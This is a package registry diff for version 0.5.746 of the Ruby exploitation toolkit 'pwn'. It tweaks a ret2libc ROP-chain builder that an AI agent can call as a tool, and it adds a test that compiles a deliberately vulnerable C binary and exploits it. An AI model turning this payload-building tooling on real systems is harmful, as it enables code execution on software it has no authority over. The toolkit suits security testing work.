pwn 0.5.745 → 0.5.746

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: f3d60fd604a668b531459517b97dfee6448f9485679bd4c25bfe3ec12090cee9
4
- data.tar.gz: 64a4dd65248017933e877c03db222ce61741e60044a03a1c9c9a1297ca7a4fde
3
+ metadata.gz: aacb6a992222f92a5a198def002962a7f92105b68489ae2a9dd01fb9207332f9
4
+ data.tar.gz: d48b7f1c97a7a18bba283685075d887d9e539280abe3cc41064a88374e9bf355
5
5
  SHA512:
6
- metadata.gz: 1792ff5aea6a7c406248ab0fd6647732c490e56450afdf768840f340b4d7b4847a2d2cd996ff1349b3ca1a1bbfc05be40310225345e675937cc16022aaad5ec3
7
- data.tar.gz: 7155e5d3cfca02bda195d0b0f926b85d6cd95b306b570d5956484ae237d360b36628a979e2d98a2c5ce3008343c7cecc1d14f12d0a986dbc577923a9f7905930
6
+ metadata.gz: 614149c9170c27dad853ec23b90f3990ae9182001bd6d2b7e4b919095a003bc2b85b949946c834e32052e37ba0f4b785c59adbaeb127a1f90298025ec657cfe6
7
+ data.tar.gz: 40f3119856e9a6965b5977494fcb1afb4ea8ef13f226a7044353232be87a46dda4bd4970b6806677d327e18e53af6bb328852bd170fd4c9095821b8947222a5f
@@ -22,6 +22,7 @@ PWN::AI::Agent::Registry.register(
22
22
  arch: { type: 'string' },
23
23
  offset: { type: 'integer' },
24
24
  extra: { type: 'string' },
25
+ pad: { type: 'integer' },
25
26
  cmd: { type: 'string' },
26
27
  host: { type: 'string' },
27
28
  port: { type: 'integer' },
@@ -55,7 +56,7 @@ PWN::AI::Agent::Registry.register(
55
56
  when 'io'
56
57
  PWN::Plugins::ExploitDev.io(kind: args[:kind] || 'process', cmd: args[:cmd] || args[:path], host: args[:host], port: args[:port])
57
58
  when 'ret2libc'
58
- PWN::Plugins::ExploitDev.ret2libc(path: args[:path], offset: args[:offset], extra: args[:extra])
59
+ PWN::Plugins::ExploitDev.ret2libc(path: args[:path], offset: args[:offset], extra: args[:extra], pad: args[:pad])
59
60
  when 'checksec'
60
61
  PWN::Plugins::GDB.mitigations(binary: args[:path])
61
62
  else
@@ -231,7 +231,9 @@ module PWN
231
231
  offset = (opts[:offset] || 72).to_i
232
232
  raise 'ERROR: missing pop rdi, system, or argument address' unless pop && system && arg
233
233
 
234
- align = opts[:ret] || Array(gadgets[:gadgets]).find { |row| row[:gadget].to_s == 'ret' }&.fetch(:address, nil)
234
+ align = opts[:ret]
235
+ align ||= pop + 1 if pop && Array(gadgets[:gadgets]).any? { |row| row[:address] == pop && row[:gadget].to_s.match?(/pop rdi; ret/i) }
236
+ align ||= Array(gadgets[:gadgets]).find { |row| row[:gadget].to_s == 'ret' && row[:address] != pop }&.fetch(:address, nil)
235
237
  packed = [pop, arg]
236
238
  packed << align if align && align != pop
237
239
  packed << system
@@ -100,6 +100,8 @@ module PWN
100
100
  rescue IO::WaitReadable
101
101
  t[:r].wait_readable(0.2)
102
102
  retry
103
+ rescue EOFError
104
+ return consume_buf(tube: t, bytes: t[:buf].bytesize)
103
105
  end
104
106
  end
105
107
  end
@@ -81,21 +81,16 @@ module PWN
81
81
 
82
82
  private_class_method def self.run!(opts = {})
83
83
  argv = opts[:argv]
84
- if Open3.respond_to?(:capture3)
85
- out, err, st = Open3.capture3(*argv)
86
- raise IOError, "#{argv.first} failed: #{err}" unless st.success? || opts[:allow_nonzero] == true
84
+ out, st = Open3.capture2(*argv)
85
+ raise IOError, "#{argv.first} failed" unless st.success? || opts[:allow_nonzero] == true
87
86
 
88
- else
89
- out, = Open3.capture2(*argv)
90
- end
91
- out
92
- rescue Errno::ENOENT
93
- out, = Open3.capture2(*opts[:argv])
94
87
  out
95
88
  end
96
89
 
97
90
  private_class_method def self.parse_grype(opts = {})
98
91
  out = run!(argv: ['grype', '-o', 'json', opts[:target]], allow_nonzero: true)
92
+ raise IOError, 'grype returned no JSON' if out.to_s.strip.empty?
93
+
99
94
  json = JSON.parse(out)
100
95
  Array(json['matches']).map do |row|
101
96
  art = row['artifact'] || {}
data/lib/pwn/version.rb CHANGED
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module PWN
4
- VERSION = '0.5.745'
4
+ VERSION = '0.5.746'
5
5
  end
@@ -27,25 +27,35 @@ describe 'PWN::AI::Agent::Tools exploitdev' do
27
27
  void keep(void) { __asm__ volatile("pop %rdi; ret"); }
28
28
  int main(int argc, char **argv) {
29
29
  char buf[64];
30
+ void *frame = __builtin_frame_address(0);
30
31
  (void)argv;
31
32
  if (argc > 100) { system(cmd); keep(); }
33
+ char line[32];
34
+ snprintf(line, sizeof(line), "%ld", (long)((char *)frame + sizeof(void *) - buf));
35
+ puts(line);
36
+ fflush(stdout);
32
37
  read(0, buf, 256);
33
38
  return 0;
34
39
  }
35
40
  C
36
- out, status = Open3.capture2e('cc', '-O0', '-fno-stack-protector', '-no-pie', '-o', bin, src)
41
+ out, status = Open3.capture2e('cc', '-O0', '-fno-stack-protector', '-fno-pie', '-no-pie', '-o', bin, src)
37
42
  expect(status.success?).to eq(true), out
43
+ elf = File.binread(bin)
44
+ expect(elf[16, 2].unpack1('v')).to eq(2), 'cc produced a PIE binary; file addresses would not be the runtime addresses'
45
+ io = PWN::Plugins::ExploitDev.io(cmd: [bin], pty: false)
46
+ offset = PWN::Plugins::ProcessTube.recvuntil(id: io[:id], until: "\n", timeout: 3).to_i
47
+ expect(offset).to be > 64
38
48
  raw = PWN::AI::Agent::Dispatch.call(
39
- tool_call: { function: { name: 'exploitdev', arguments: JSON.generate(action: 'ret2libc', path: bin, offset: 72, extra: 'cmd') } },
49
+ tool_call: { function: { name: 'exploitdev', arguments: JSON.generate(action: 'ret2libc', path: bin, offset: offset, extra: 'cmd') } },
40
50
  scope_path: File.join(dir, 'absent.yaml')
41
51
  )
42
52
  row = JSON.parse(raw, symbolize_names: true).fetch(:result)
53
+ row = JSON.parse(File.binread(row[:artifact][:path]), symbolize_names: true) if row[:artifact]
43
54
  expect(row[:payload]).not_to be_empty
44
55
  expect(row[:plt].keys.map(&:to_s)).to include('system')
45
56
  expect(row[:pop_rdi]).to be_a(Integer)
46
57
  packed = [row[:payload_hex] || row['payload_hex']].pack('H*')
47
58
  packed = row[:payload].to_s if packed.empty?
48
- io = PWN::Plugins::ExploitDev.io(cmd: [bin], pty: false)
49
59
  PWN::Plugins::ProcessTube.send_raw(id: io[:id], bytes: packed)
50
60
  out = PWN::Plugins::ProcessTube.recvuntil(id: io[:id], until: 'RET2LIBC_OK', timeout: 3)
51
61
  expect(out.to_s).to include('RET2LIBC_OK')
@@ -32,12 +32,14 @@ describe PWN::Plugins::Jobs do
32
32
  end
33
33
 
34
34
  it 'survives an exited creator and records completion in a fresh session' do
35
- row = fresh("puts JSON.generate(PWN::Plugins::Jobs.start(command: 'sleep 2; printf durable', max_runtime: 21600, session_id: 'old'))")
35
+ gate = File.join(@root, 'release')
36
+ row = fresh("puts JSON.generate(PWN::Plugins::Jobs.start(command: 'while [ ! -f #{gate} ]; do sleep 0.05; done; printf durable', max_runtime: 21600, session_id: 'old'))")
36
37
  expect(row[:status]).to eq('RUNNING')
37
38
  expect(row[:worker_pid]).to be_a(Integer)
38
39
  expect(row[:worker_identity]).not_to be_nil
39
40
  worker_session = Process.getsid(row[:worker_pid])
40
41
  expect(fresh("puts JSON.generate(PWN::Plugins::Jobs.status(id: '#{row[:id]}'))")[:status]).to eq('RUNNING')
42
+ File.write(gate, '1')
41
43
  done = finished(row[:id])
42
44
  expect(worker_session).to eq(row[:worker_pid])
43
45
  expect(done).to include(status: 'COMPLETED', exit_code: 0, max_runtime: 21_600, session_id: 'old')
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: pwn
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.5.745
4
+ version: 0.5.746
5
5
  platform: ruby
6
6
  authors:
7
7
  - 0day Inc.